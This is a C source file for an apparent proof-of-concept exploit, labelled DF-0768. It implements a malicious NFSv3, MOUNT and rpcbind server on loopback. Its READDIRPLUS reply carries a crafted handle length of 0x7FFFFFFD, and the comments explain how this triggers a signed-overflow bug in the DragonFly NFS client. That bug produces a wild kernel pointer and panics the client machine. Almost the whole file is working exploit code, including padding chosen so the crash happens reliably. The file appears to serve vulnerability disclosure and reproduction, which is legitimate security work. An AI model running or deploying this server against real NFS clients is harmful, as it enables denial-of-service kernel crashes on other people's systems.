/*
 * nfs_mal_server.c -- malicious NFSv3 server stub for DF-0768 PoC.
 *
 * Reproduces the signed-overflow in nfsm_rndup(i) inside
 * nfs_readdirplusrpc_uio() (sys/vfs/nfs/nfs_vnops.c:2924-2928).
 *
 * The READDIRPLUS entry-parse "else" branch (attrflag==0) does:
 *
 *     NULLOUT(tl = nfsm_dissect(&info, NFSX_UNSIGNED));
 *     i = fxdr_unsigned(int, *tl);              // server-controlled int
 *     ERROROUT(nfsm_adv(&info, nfsm_rndup(i))); // nfsm_rndup overflows
 *
 * where nfsm_rndup(a) = ((a)+3) & ~3.  For i >= 0x7FFFFFFD the addition
 * (a)+3 overflows signed int producing INT_MIN (0x80000000), and the
 * subsequent &~3 leaves it at INT_MIN.  nfsm_adv(info, INT_MIN) then does:
 *
 *     n = mtod(md,caddr_t)+md->m_len - dpos;    // small positive
 *     if (n >= len)        // n >= INT_MIN  ->  TRUE (positive >= negative)
 *         dpos += len;     // dpos += INT_MIN  ->  WILD POINTER (2 GiB below)
 *
 * ... returning success (error=0).  The next nfsm_dissect() then reads 4
 * bytes from the corrupted dpos, which is a wild kernel address: page-fault
 * (trap 12) or GPF (trap 9) -> panic / DoS.
 *
 * The server speaks just enough NFSv3 + MOUNTv3 + rpcbind on loopback to let
 * the DragonFly NFS *client* mount an export (mounted with -o rdirplus, the
 * standard NFSv3 performance option that selects the READDIRPLUS path) and
 * then issue a getdents (ls), at which point we feed it the crafted
 * READDIRPLUS reply that drives i = 0x7FFFFFFD.
 *
 * The "exploit chain" that an unprivileged local user drives is just
 *   ls /mnt            (or any getdents on the mount)
 * after an administrator has mounted our malicious server with rdirplus
 * (the same pre-condition as "admin mounted an NFS share" -- a realistic
 * environment).
 *
 * Build:  cc -O2 -o nfs_mal_server nfs_mal_server.c
 * Run:    ./nfs_mal_server  (as root, to bind 111/2049; this is the
 *                           compromised-server side of the harness)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define RPCB_PROG  100000u
#define MOUNT_PROG 100005u
#define NFS_PROG   100003u

#define NFS3_OK         0u
#define NFS3ERR_NOENT   2u

#define NF3REG 1u
#define NF3DIR 2u

/* the root filehandle we hand to MOUNT.MNT. Its exact bytes don't matter. */
static unsigned char root_fh[8] = { 'R','0','0','T','0','0','0','0' };

/* ----------------------------------------------------------------------- */
/* low-level socket I/O                                                    */
/* ----------------------------------------------------------------------- */
static int read_n(int fd, void *buf, size_t n) {
    unsigned char *p = (unsigned char *)buf;
    size_t got = 0;
    while (got < n) {
        ssize_t r = read(fd, p + got, n - got);
        if (r <= 0) return -1;
        got += (size_t)r;
    }
    return 0;
}
static int write_n(int fd, const void *buf, size_t n) {
    const unsigned char *p = (const unsigned char *)buf;
    size_t put = 0;
    while (put < n) {
        ssize_t w = write(fd, p + put, n - put);
        if (w <= 0) return -1;
        put += (size_t)w;
    }
    return 0;
}

/* TCP RPC record marking: 4-byte header, top bit = last fragment. */
static int recv_msg(int fd, unsigned char *buf, size_t buflen, size_t *outlen) {
    unsigned char rm[4];
    if (read_n(fd, rm, 4)) return -1;
    uint32_t rmlen = ((uint32_t)rm[0] << 24) | ((uint32_t)rm[1] << 16) |
                     ((uint32_t)rm[2] << 8) | (uint32_t)rm[3];
    rmlen &= 0x7fffffffu;          /* strip "last" bit */
    if (rmlen == 0 || rmlen > buflen) return -1;
    if (read_n(fd, buf, rmlen)) return -1;
    *outlen = rmlen;
    return 0;
}
static int send_msg(int fd, const unsigned char *buf, size_t len) {
    unsigned char rm[4];
    uint32_t h = 0x80000000u | (uint32_t)(len & 0x7fffffffu);
    rm[0] = (unsigned char)(h >> 24);
    rm[1] = (unsigned char)(h >> 16);
    rm[2] = (unsigned char)(h >> 8);
    rm[3] = (unsigned char)(h);
    if (write_n(fd, rm, 4)) return -1;
    return write_n(fd, buf, len);
}

/* ----------------------------------------------------------------------- */
/* XDR encode helpers (growable buffer)                                    */
/* ----------------------------------------------------------------------- */
typedef struct { unsigned char *p; size_t len, cap; } ebuf;

static void eb_init(ebuf *b) { b->p = (unsigned char *)malloc(4096); b->len = 0; b->cap = 4096; }
static void eb_ensure(ebuf *b, size_t add) {
    if (b->len + add <= b->cap) return;
    while (b->len + add > b->cap) b->cap *= 2;
    b->p = (unsigned char *)realloc(b->p, b->cap);
}
static void eb_u32(ebuf *b, uint32_t v) {
    eb_ensure(b, 4);
    b->p[b->len++] = (unsigned char)(v >> 24);
    b->p[b->len++] = (unsigned char)(v >> 16);
    b->p[b->len++] = (unsigned char)(v >> 8);
    b->p[b->len++] = (unsigned char)(v);
}
static void eb_u64(ebuf *b, uint64_t v) { eb_u32(b, (uint32_t)(v >> 32)); eb_u32(b, (uint32_t)v); }
static void eb_opaque(ebuf *b, const void *data, size_t n) {
    size_t pad = (4 - (n & 3)) & 3;
    eb_ensure(b, 4 + n + pad);
    eb_u32(b, (uint32_t)n);
    memcpy(b->p + b->len, data, n); b->len += n;
    for (size_t i = 0; i < pad; i++) b->p[b->len++] = 0;
}
static void eb_str(ebuf *b, const char *s) { eb_opaque(b, s, strlen(s)); }

/* ----------------------------------------------------------------------- */
/* XDR decode cursor                                                       */
/* ----------------------------------------------------------------------- */
typedef struct { const unsigned char *p; size_t len, off; } dcur;

static int dc_u32(dcur *c, uint32_t *v) {
    if (c->off + 4 > c->len) return -1;
    *v = ((uint32_t)c->p[c->off] << 24) | ((uint32_t)c->p[c->off + 1] << 16) |
         ((uint32_t)c->p[c->off + 2] << 8) | (uint32_t)c->p[c->off + 3];
    c->off += 4;
    return 0;
}
static int dc_skip_opaque(dcur *c) {
    uint32_t n;
    if (dc_u32(c, &n)) return -1;
    size_t pad = (4 - (n & 3)) & 3;
    if (c->off + n + pad > c->len) return -1;
    c->off += n + pad;
    return 0;
}

/* ----------------------------------------------------------------------- */
/* fattr3 / post_op_attr encoders                                          */
/* ----------------------------------------------------------------------- */
static void eb_fattr_dir(ebuf *b) {
    eb_u32(b, NF3DIR);            /* type */
    eb_u32(b, 0777);              /* mode */
    eb_u32(b, 3);                 /* nlink */
    eb_u32(b, 0);                 /* uid */
    eb_u32(b, 0);                 /* gid */
    eb_u64(b, 512);               /* size */
    eb_u64(b, 512);               /* used */
    eb_u32(b, 0); eb_u32(b, 0);   /* rdev major, minor */
    eb_u64(b, 0x01010101u);       /* fsid */
    eb_u64(b, 1);                 /* fileid */
    eb_u32(b, 0x60000000u); eb_u32(b, 0);   /* atime */
    eb_u32(b, 0x60000000u); eb_u32(b, 0);   /* mtime */
    eb_u32(b, 0x60000000u); eb_u32(b, 0);   /* ctime */
}
static void eb_poa_present(ebuf *b) { eb_u32(b, 1); eb_fattr_dir(b); }
static void eb_poa_absent(ebuf *b)  { eb_u32(b, 0); }

/* ----------------------------------------------------------------------- */
/* RPC reply builders                                                      */
/* ----------------------------------------------------------------------- */
static void eb_reply_ok(ebuf *b, uint32_t xid) {
    eb_u32(b, xid);
    eb_u32(b, 1);                 /* REPLY */
    eb_u32(b, 0);                 /* MSG_ACCEPTED */
    eb_u32(b, 0); eb_u32(b, 0);   /* verifier: NULL auth (flavor=0, len=0) */
    eb_u32(b, 0);                 /* SUCCESS */
}
static void eb_reply_proc_unavail(ebuf *b, uint32_t xid) {
    eb_u32(b, xid);
    eb_u32(b, 1);                 /* REPLY */
    eb_u32(b, 0);                 /* MSG_ACCEPTED */
    eb_u32(b, 0); eb_u32(b, 0);   /* verifier NULL */
    eb_u32(b, 3);                 /* PROC_UNAVAIL */
}

/* ----------------------------------------------------------------------- */
/* dispatch a single RPC CALL                                              */
/* ----------------------------------------------------------------------- */
static void handle_call(const unsigned char *req, size_t reqlen, ebuf *rep) {
    dcur c = { req, reqlen, 0 };
    uint32_t xid = 0, msgtype = 0, rpcvers = 0, prog = 0, vers = 0, proc = 0;

    if (dc_u32(&c, &xid) || dc_u32(&c, &msgtype) || dc_u32(&c, &rpcvers) ||
        dc_u32(&c, &prog) || dc_u32(&c, &vers) || dc_u32(&c, &proc))
        return;
    /* skip opaque_auth cred and verf */
    uint32_t cred_body_len = 0, cred_flavor = 0;
    uint32_t verf_body_len = 0, verf_flavor = 0;
    if (dc_u32(&c, &cred_flavor)) return;
    if (dc_u32(&c, &cred_body_len)) return;
    if (cred_body_len > 65536) return;
    size_t cred_pad = (4 - (cred_body_len & 3)) & 3;
    if (c.off + cred_body_len + cred_pad > c.len) return;
    c.off += cred_body_len + cred_pad;
    if (dc_u32(&c, &verf_flavor)) return;
    if (dc_u32(&c, &verf_body_len)) return;
    if (verf_body_len > 65536) return;
    size_t verf_pad = (4 - (verf_body_len & 3)) & 3;
    if (c.off + verf_body_len + verf_pad > c.len) return;
    c.off += verf_body_len + verf_pad;

    if (getenv("DF768_DEBUG"))
        fprintf(stderr, "[recv] xid=%08x prog=%u vers=%u proc=%u reqlen=%zu argsoff=%zu\n",
                xid, prog, vers, proc, reqlen, c.off);

    if (prog == RPCB_PROG) {
        if (proc == 0) {                 /* NULL */
            eb_reply_ok(rep, xid);
        } else if (proc == 3) {          /* RPCB_GETADDR / PMAP_GETPORT */
            if (vers >= 3) {
                eb_reply_ok(rep, xid);
                eb_str(rep, "127.0.0.1.8.1"); /* port 2049 = 0x0801 -> 8.1 */
            } else {
                eb_reply_ok(rep, xid);
                eb_u32(rep, 2049);
            }
        } else if (proc == 2) {          /* DUMP */
            eb_reply_ok(rep, xid);
            eb_u32(rep, 0);              /* empty list */
        } else {
            eb_reply_proc_unavail(rep, xid);
        }
        return;
    }

    if (prog == MOUNT_PROG) {
        if (proc == 0) {                 /* NULL */
            eb_reply_ok(rep, xid);
        } else if (proc == 1) {          /* MNT */
            eb_reply_ok(rep, xid);
            eb_u32(rep, 0);              /* MNT3_OK */
            eb_opaque(rep, root_fh, sizeof(root_fh));
            eb_u32(rep, 1);              /* one auth flavor */
            eb_u32(rep, 1);              /* AUTH_SYS */
        } else if (proc == 3) {          /* UMNT */
            eb_reply_ok(rep, xid);
            eb_u32(rep, 0);
        } else {
            eb_reply_proc_unavail(rep, xid);
        }
        return;
    }

    if (prog == NFS_PROG) {
        switch (proc) {
        case 0:                          /* NULL */
            eb_reply_ok(rep, xid);
            break;
        case 1:                          /* GETATTR */
            eb_reply_ok(rep, xid);
            eb_u32(rep, NFS3_OK);
            eb_poa_present(rep);         /* obj attrs */
            break;
        case 3:                          /* LOOKUP -- simple NOENT */
            eb_reply_ok(rep, xid);
            eb_u32(rep, NFS3ERR_NOENT);
            eb_poa_present(rep);         /* dir attrs (LOOKUP3resfail) */
            break;
        case 4:                          /* ACCESS */
            eb_reply_ok(rep, xid);
            eb_u32(rep, NFS3_OK);
            eb_poa_present(rep);
            eb_u32(rep, 0x3f);           /* all access bits */
            break;
        case 17: {                       /* READDIRPLUS -- THE TRIGGER */
            /* Crafted entry that drives the nfsm_rndup(i) signed overflow:
             *
             *   entry3:
             *     fileid = 1
             *     name   = "a"   (len=1, padded to 4)
             *     cookie = 1
             *     name_attributes (post_op_attr): attributes_follow = 0
             *       -> client takes the buggy "else" branch and reads the
             *          next u32 as the (mythical) handle length "i"
             *     i = 0x7FFFFFFD  -> nfsm_rndup(i) = INT_MIN  -> wild dpos
             *
             * We stop here; the client's very next nfsm_dissect reads 4
             * bytes from the corrupted dpos and panics (page-fault/GPF).
             * No further bytes are needed (and none would be reached). */
            eb_reply_ok(rep, xid);
            eb_u32(rep, NFS3_OK);        /* status */
            eb_poa_present(rep);         /* dir_attributes (post_op_attr) */
            eb_u64(rep, 0);              /* cookieverf (8 bytes) */
            eb_u32(rep, 1);              /* value_follows = 1 (entries follow) */
            /* entry3: */
            eb_u64(rep, 1);              /* fileid */
            eb_str(rep, "a");            /* name "a" (len=1 + 3 pad) */
            eb_u64(rep, 2);              /* cookie */
            eb_u32(rep, 0);              /* name_attributes: attributes_follow = 0  (attrflag=0) */
            eb_u32(rep, 0x7FFFFFFDu);    /* the "handle length" i -> nfsm_rndup overflows to INT_MIN */
            /*
             * Trailing padding: force the reply to span >=2 mbuf clusters
             * (MCLBYTES=2048).  Why this matters: after nfsm_adv() corrupts
             * dpos 2 GiB below the real data, the next nfsm_dissect()
             * computes n = (mbuf_end - corrupted_dpos) which truncates to a
             * NEGATIVE int, so it routes to nfsm_disct().  In nfsm_disct(),
             *   - if mp->m_next == NULL (single cluster): returns EBADRPC
             *     (clean error, no deref) -- the bug is silent.
             *   - if mp->m_next != NULL (multi cluster): takes the pull-up
             *     branch and does bcopy(corrupted_dpos, fresh_mbuf,
             *     (size_t)left) with left<0 -> copies ~2^64 bytes from the
             *     wild pointer -> page fault -> PANIC.
             * The client never parses these trailing bytes (it panics first),
             * but they live in the received mbuf chain so that the cluster
             * holding the corrupted dpos has a non-NULL m_next.  8 KiB
             * guarantees >=2 clusters (2048 B each).
             */
            {
                size_t pad = 8192;
                eb_ensure(rep, pad);
                memset(rep->p + rep->len, 0, pad);
                rep->len += pad;
            }
            break;
        }
        case 16:                         /* READDIR -- punt (empty, eof) */
            eb_reply_ok(rep, xid);
            eb_u32(rep, NFS3_OK);
            eb_poa_absent(rep);
            eb_u32(rep, 0);              /* eof=true with no entries */
            break;
        case 19:                         /* FSINFO */
            eb_reply_ok(rep, xid);
            eb_u32(rep, NFS3_OK);
            eb_poa_present(rep);
            eb_u32(rep, 8192); eb_u32(rep, 8192); eb_u32(rep, 512); /* rtmax/rtpref/rtmult */
            eb_u32(rep, 8192); eb_u32(rep, 8192); eb_u32(rep, 512); /* wtmax/wtpref/wtmult */
            eb_u32(rep, 8192);           /* dtpref */
            eb_u64(rep, 0x7fffffffffffffffull); /* maxfilesize */
            eb_u32(rep, 1); eb_u32(rep, 0);     /* time_delta (1s) */
            eb_u32(rep, 0x01);           /* properties: FSF_LINK */
            break;
        case 20:                         /* PATHCONF */
            eb_reply_ok(rep, xid);
            eb_u32(rep, NFS3_OK);
            eb_poa_present(rep);
            eb_u32(rep, 255);            /* linkmax */
            eb_u32(rep, 255);            /* name_max */
            eb_u32(rep, 1);              /* no_trunc */
            eb_u32(rep, 0);              /* chown_restricted */
            eb_u32(rep, 0);              /* case_insensitive */
            eb_u32(rep, 1);              /* case_preserving */
            break;
        case 2:                          /* SETATTR -- punt ok */
            eb_reply_ok(rep, xid);
            eb_u32(rep, NFS3_OK);
            eb_u32(rep, 0); eb_u32(rep, 0);   /* wcc */
            break;
        case 18:                         /* FSSTAT */
            eb_reply_ok(rep, xid);
            eb_u32(rep, NFS3_OK);
            eb_poa_present(rep);
            eb_u64(rep, 4096); eb_u64(rep, 2048); eb_u64(rep, 0); /* tbytes/fbytes/abytes */
            eb_u64(rep, 1000000); eb_u64(rep, 500000); eb_u64(rep, 0); /* tfiles/ffiles/afiles */
            eb_u32(rep, 0); eb_u32(rep, 0);   /* invarsec (1s) */
            break;
        default:
            eb_reply_proc_unavail(rep, xid);
            break;
        }
        return;
    }

    /* unknown program -- reply garbage-free SUCCESS-with-empty */
    eb_reply_ok(rep, xid);
}

/* ----------------------------------------------------------------------- */
/* per-connection handler (single-threaded; small messages)                */
/* ----------------------------------------------------------------------- */
static void handle_conn(int fd) {
    for (;;) {
        unsigned char reqbuf[16384];
        size_t reqlen = 0;
        if (recv_msg(fd, reqbuf, sizeof(reqbuf), &reqlen)) return;
        if (reqlen < 8) continue;
        uint32_t msgtype = ((uint32_t)reqbuf[4] << 24) | ((uint32_t)reqbuf[5] << 16) |
                           ((uint32_t)reqbuf[6] << 8) | (uint32_t)reqbuf[7];
        if (msgtype != 0) continue;       /* only handle CALL */
        ebuf rep; eb_init(&rep);
        handle_call(reqbuf, reqlen, &rep);
        if (rep.len == 0) { free(rep.p); continue; }
        if (getenv("DF768_DEBUG"))
            fprintf(stderr, "[send tcp] %zu bytes\n", rep.len);
        int rc = send_msg(fd, rep.p, rep.len);
        free(rep.p);
        if (rc) return;
    }
}

/* UDP handler: process a single datagram (one unframed RPC message). */
static void handle_udp_one(int fd) {
    unsigned char reqbuf[16384];
    struct sockaddr_in cli;
    socklen_t clilen = sizeof(cli);
    ssize_t n = recvfrom(fd, reqbuf, sizeof(reqbuf), 0,
                         (struct sockaddr *)&cli, &clilen);
    if (n <= 0) return;
    size_t reqlen = (size_t)n;
    if (reqlen < 8) return;
    uint32_t msgtype = ((uint32_t)reqbuf[4] << 24) | ((uint32_t)reqbuf[5] << 16) |
                       ((uint32_t)reqbuf[6] << 8) | (uint32_t)reqbuf[7];
    if (msgtype != 0) return;
    ebuf rep; eb_init(&rep);
    handle_call(reqbuf, reqlen, &rep);
    if (rep.len == 0) { free(rep.p); return; }
    if (getenv("DF768_DEBUG"))
        fprintf(stderr, "[send udp] %zu bytes\n", rep.len);
    sendto(fd, rep.p, rep.len, 0, (struct sockaddr *)&cli, clilen);
    free(rep.p);
}

int main(void) {
    signal(SIGPIPE, SIG_IGN);

    int s111_tcp = socket(AF_INET, SOCK_STREAM, 0);
    int s111_udp = socket(AF_INET, SOCK_DGRAM, 0);
    int s2049    = socket(AF_INET, SOCK_STREAM, 0);
    if (s111_tcp < 0 || s111_udp < 0 || s2049 < 0) { perror("socket"); return 1; }

    int one = 1;
    setsockopt(s111_tcp, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
    setsockopt(s111_udp, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
    setsockopt(s2049,    SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));

    struct sockaddr_in a;
    memset(&a, 0, sizeof(a));
    a.sin_family = AF_INET;
    a.sin_addr.s_addr = inet_addr("127.0.0.1");

    a.sin_port = htons(111);
    if (bind(s111_tcp, (struct sockaddr *)&a, sizeof(a))) { perror("bind tcp 111"); return 1; }
    if (bind(s111_udp, (struct sockaddr *)&a, sizeof(a))) { perror("bind udp 111"); return 1; }
    if (listen(s111_tcp, 8)) { perror("listen tcp 111"); return 1; }

    a.sin_port = htons(2049);
    if (bind(s2049, (struct sockaddr *)&a, sizeof(a))) { perror("bind 2049"); return 1; }
    if (listen(s2049, 8)) { perror("listen 2049"); return 1; }

    fprintf(stderr, "DF-0768 malicious NFSv3 server: rpcbind 127.0.0.1:111 "
                    "(tcp+udp), MOUNT+NFS 127.0.0.1:2049 (tcp)\n");

    for (;;) {
        fd_set fds;
        FD_ZERO(&fds);
        FD_SET(s111_tcp, &fds);
        FD_SET(s111_udp, &fds);
        FD_SET(s2049, &fds);
        int mx = s2049 + 1;
        int sr = select(mx, &fds, NULL, NULL, NULL);
        if (sr < 0) {
            if (errno == EINTR) continue;
            perror("select"); break;
        }
        if (FD_ISSET(s111_tcp, &fds)) {
            int cl = accept(s111_tcp, NULL, NULL);
            if (cl >= 0) { handle_conn(cl); close(cl); }
        }
        if (FD_ISSET(s111_udp, &fds)) {
            handle_udp_one(s111_udp);
        }
        if (FD_ISSET(s2049, &fds)) {
            int cl = accept(s2049, NULL, NULL);
            if (cl >= 0) { handle_conn(cl); close(cl); }
        }
    }
    return 0;
}
